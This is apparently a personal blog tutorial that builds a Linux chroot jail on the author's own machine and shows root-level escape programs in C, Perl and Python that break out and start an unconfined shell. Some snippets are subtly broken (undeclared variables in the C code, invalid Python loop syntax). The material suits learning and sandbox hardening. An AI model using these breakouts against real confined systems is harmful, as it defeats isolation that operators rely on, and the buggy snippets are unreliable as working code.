Prison Break (chroot)

So I had a class the other day where the teacher basically talked about chroot jails and said that it was possible to escape from it once you had root acces. However he thought it was pretty difficult whereas some other teacher and quite a few people from the internet security community would say it was pretty simple. This spiked my interest and I decided to give it a shot. In this post I will sum up my experience with building a basic chroot jail and how to escape it using C and will later go on explaining how to build a more advanced one and escape it with perl and python.

For those who don't know what chroot is, from the official linux manpage (rtfm):

chroot - run command or interactive shell with special root directory

It basically changes the root directory for a given command, thus confining it to the given directory. However if one manages to get root acces in such a chroot jail, it is fairly easy to escape from it as demonstrated below.

Creating a simple chroot jail

First I set about creating a simple chroot jail. I stumbled upon this Nixcraft link and pretty much did the same:

J=$HOME/jail
mkdir -p $J/{bin,lib64,lib,usr}
mkdir -p $J/usr/lib
cd $J
cp -v /bin/{bash,ls} $J/bin

Now to copy the binaries we will need to know their shared object dependencies.
To do so:

ldd /bin/bash

Which will output:

ldd of /bin/bash

We then proceed similar to as in the Nixcraft link with:

cp /usr/lib/libreadline.so.7 /usr/lib/libdl.so.2 /usr/lib/libc.so.6 /usr/lib/libncursesw.so.6 $J/usr/lib/
cp /lib64/ld-linux-x86-64.so.2 $J/lib64

And:

ldd /bin/ls

Which will output:

ldd of /bin/ls

Hence:

cp /usr/lib/libcap.so.2 /usr/lib/libc.so.6 $J/usr/lib/
cp /lib64/ld-linux-x86-64.so.2 $J/lib64

Of course some of the files copied here are redundant. But you get the basic idea :)
If you want to add any other basic command to your chroot jail repeat the above.

Now you can just go chroot $J and you have your own minimal chroot jail.

chroot $J
PATH=/bin

Escaping in C

So now comes the fun part. How do we escape from a chroot jail?
You don't. Sorry to say, but if you've read this far hoping to learn how to escape from a chroot jail, well you have just wasted 5 minutes of your life... JK ;)

In order to escape from a chroot prison, there are three ways:

  1. Compiling a program, but there probably is no C compiler in the chroot jail.
  2. Uploading a precompiled binary.
  3. The cool way: using a scripting language.

Let's have a look at the first way. In our simple chroot jail, this very basic code from here should actually do the trick:

#include <sys/stat.h>
#include <unistd.h>
int main() {
mkdir(".subchroot", 0755); // Our subdirectory in which we are going to chroot
chroot(".subchroot");
for(x = 0; x < 1000; x++) chdir("..");//Similar to chroot("../../../....../../..");
//Enough "../../" to get to root
 chroot(".");
return execl("/bin/bash", "-i", NULL);
}

Compiled using:

gcc -static -o unchroot_basic unchroot_basic.c

So, we create a hidden subchroot directory (to make it a tiny bit more sneaky) with 755 rights. We chroot into it and then we chroot to a lot of "../.." in order to basically get to "/".

You are now probably wondering: "Hey why do I have to create a stupid subdirectory and then chroot into it?"

Well that's pretty simple.

The kernel will simply replace "/../../../" (and so on) to "/". Some programs rely on this to work properly. In order to bypass this we need to change our working directory to something above our root (/) . This means that the binary we just ran needs to be in the parent directory from the one we just chrooted. So we create our subdirectory (.subchroot) and we chroot in it. Our working directory is now above our current root and as such we can bypass the "/../../" replacement.
chrooting to our current working directory requires the CAP_SYS_CHROOT capability which is usually only given to root.

Now sometimes chroot will change the working directory of the binary to the chroot root. However chroot does not close and/or change file descriptors.

This is why we can save the file descriptor of the subchroot parent directory (the one in which we are trapped at the begining) in a variable. We then use fchdir using the saved file descriptor. (fchdir changes working directory using a file descriptor).

Another issue with a chroot could be that it changes your uid from 0 (root) to something else. That is rather annoying because you must absolutely be root to escape our chroot jail. Hence make sure to add a setuid(0) in your code to make sure that you stay root.

This basically gives you the following code:

#include <sys/stat.h>
#include <unistd.h>
int main() {
setuid(0); // In case we change uid
mkdir(".subchroot", 0755); // Our subdirectory in which we are going to chroot
fd_we_need = open(".", O_RDONLY); //The fd of the current directory
chroot(".subchroot");
fchdir(fd_we_need); // Change the working directory using fd
close(fd_we_need);
for(x = 0; x < 1000; x++) chdir(".."); // Goes up one directory 1000 times
//Similar to chroot("../../../........");
chroot("."); 
return execl("/bin/bash", "-i", NULL);
}

Compile it using the same gcc command :

gcc -static -o unchroot unchroot_.c

Now you guys are probably saying: "Well that's all fun, but how do I run the binary in the jail we made since there's no compiler in it?" Well you could just compile it from outside of your jail and then move the binary in it, but that doesn't look like a very realistic outcome. Something you could do though is install curl or wget using the cp and ldd method described above. Then host the binary somewhere and retrieve it using curl or wget. However in our minimal jail, there is no dns configured. In my case I just used my vps ip. You can configure dns by adding

nameserver 8.8.8.8
nameserver 8.8.4.4

in /etc/resolv.conf

However this is not sufficient in our minimal jail. I have not tried to get fully functional dns resolution in our jail, if someone knows how to do so, please comment and/or send me an email.

This is what escaping from a chroot jail looks like using a binary compiled with the last code and hosted on the very same server as this website.

unchroot wget

Creating a more advanced jail

This is important for the next steps which are escaping in Perl and Python. As our basic jail has no python or perl interpreter installed we will now create a more advanced chroot jail. Even if you're not very keen on system administration, if you have installed arch, chances are you've already used chroot. Because I love arch (even though it is unstable as f*$k! ), we are going to create an archlinux chroot jail. You can do the same using debian or any other linux distro.
However I'm not sure I used the proper way as explained here, but... it works ! :D

To create my archlinux chroot jail, I used the french arch-wiki, however if you ever need to do a full archlinux install, please refer to the official wiki which is more detailed (in my honest opininon).

Now if you want this to work, you probably want to set the following variables:

ARCH_SYS=/home/warsang/jail_arch #the dir in which you're going to create the jail
ARCHI=$(uname -m) # i686 or x86_64

Create a nice directory tree:

mkdir -p $ARCH_SYS/var/{cache/pacman/pkg,lib/pacman} $ARCH_SYS/{dev,proc,sys,run,tmp,etc,boot,root}

Change the rights:

chmod 0750 $ARCH_SYS/root
chmod 1777 $ARCH_SYS/tmp
chmod 0555 $ARCH_SYS/proc $ARCH_SYS/sys

Mount the special filesystem:

mount -B /proc $ARCH_SYS/proc
mount -B /dev $ARCH_SYS/dev
mount -B /sys $ARCH_SYS/sys

And:
mount --bind $ARCHSYS $ARCHSYS

You can now do:

 pacman -r $ARCH_SYS --cachedir $ARCH_SYS/var/cache/pacman/pkg -Sy base syslinux

Finally we can now chroot to our jail:

chroot $ARCH_SYS

Now we need to install python. To do so, we nee to configure pacman.
Open /etc/pacman.conf:

nano /etc/pacman.conf #No vim on default instal :'(

Add a SigLevel = Required DatabaseOptional (necessary?)

Now do the same with: /etc/pacman.d/mirrorlist and uncomment the correct mirrors

Uncommenting pacman mirrors

And add the following google dns to /etc/resolv.conf :

nameserver 8.8.8.8
nameserver 8.8.4.4

We can now run a:

pacman -Syu python2 python3

Note that Perl is already installed.

Escaping in Perl

Being a total perl noob, I'll just cut to the chase and do exactly the same as here.

#!/usr/bin/perl -w
use strict;
# unchroot.pl Dec 2007
# http://pentestmonkey.net/blog/chroot-breakout-perl
# This script may be used for legal purposes only.

# Go to the root of the jail
chdir "/";

# Open filehandle to root of jail
opendir fd_we_need, "." or die "ERROR: Couldn't get file handle to root of jailn";

# Create a subdir, move into it
mkdir "subchroot";

# Lock ourselves in a new jail
chroot "subchroot";

# Use our filehandle to get back to the root of the old jail
chdir(*fd_we_need);

# Get to the real root
while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
        chdir "..";
}

# Lock ourselves in real root - so we're not really in a jail at all now
chroot ".";

# Start an un-jailed shell
system("/bin/sh");

So this basically does the same as our little code in C. I renamed the variables similarly to the ones we had in the C code for understanding purposes.

Please note that this script does not have the setuid(0) as in C. (Might try and change that eventually)

unchroot using perl

Escaping in Python

In Python2 and 3 the following should work:

import os
from subprocess import call

os.seteuid(0) #instead of os.setuid(0)
os.mkdir('./subchroot')
fd_we_need = os.open('.', os.O_RDONLY)
os.chroot('./subchroot')  # chrooting to subchroot directory
os.fchdir(fd_we_need) #Change our working directory using fd
os.close(fd_we_need)
for(x in range(0,1000)): #Same as the for loop in C
     os.chdir("..")
os.chroot(".")
call(["/bin/sh","-i"]) #Open our shell

If you have python,os and subprocess should be availablable in your jail.

Still need to set the uid to 0. According to the following, the os.setuid from python is just a proxy/wrapper through the C level call. However it does not allow to regain root acces once it has been lost. Which is why we'll be using os.seteuid(0) .

unchroot using python

Yay! It works and it's awesome! Well there you go, I hope it was all cristal clear. Please comment or sen me an email if anything I said is wrong or should be changed/added.

Links that are good for you

http://pentestmonkey.net/blog/chroot-breakout-perl
https://filippo.io/escaping-a-chroot-jail-slash-1/
http://unix.stackexchange.com/questions/105/chroot-jail-what-is-it-and-how-do-i-use-it
https://wiki.archlinux.fr/Install_chroot
https://bugs.archlinux.org/task/46169
http://stackoverflow.com/questions/14230467/unable-to-switch-back-to-root-user-using-python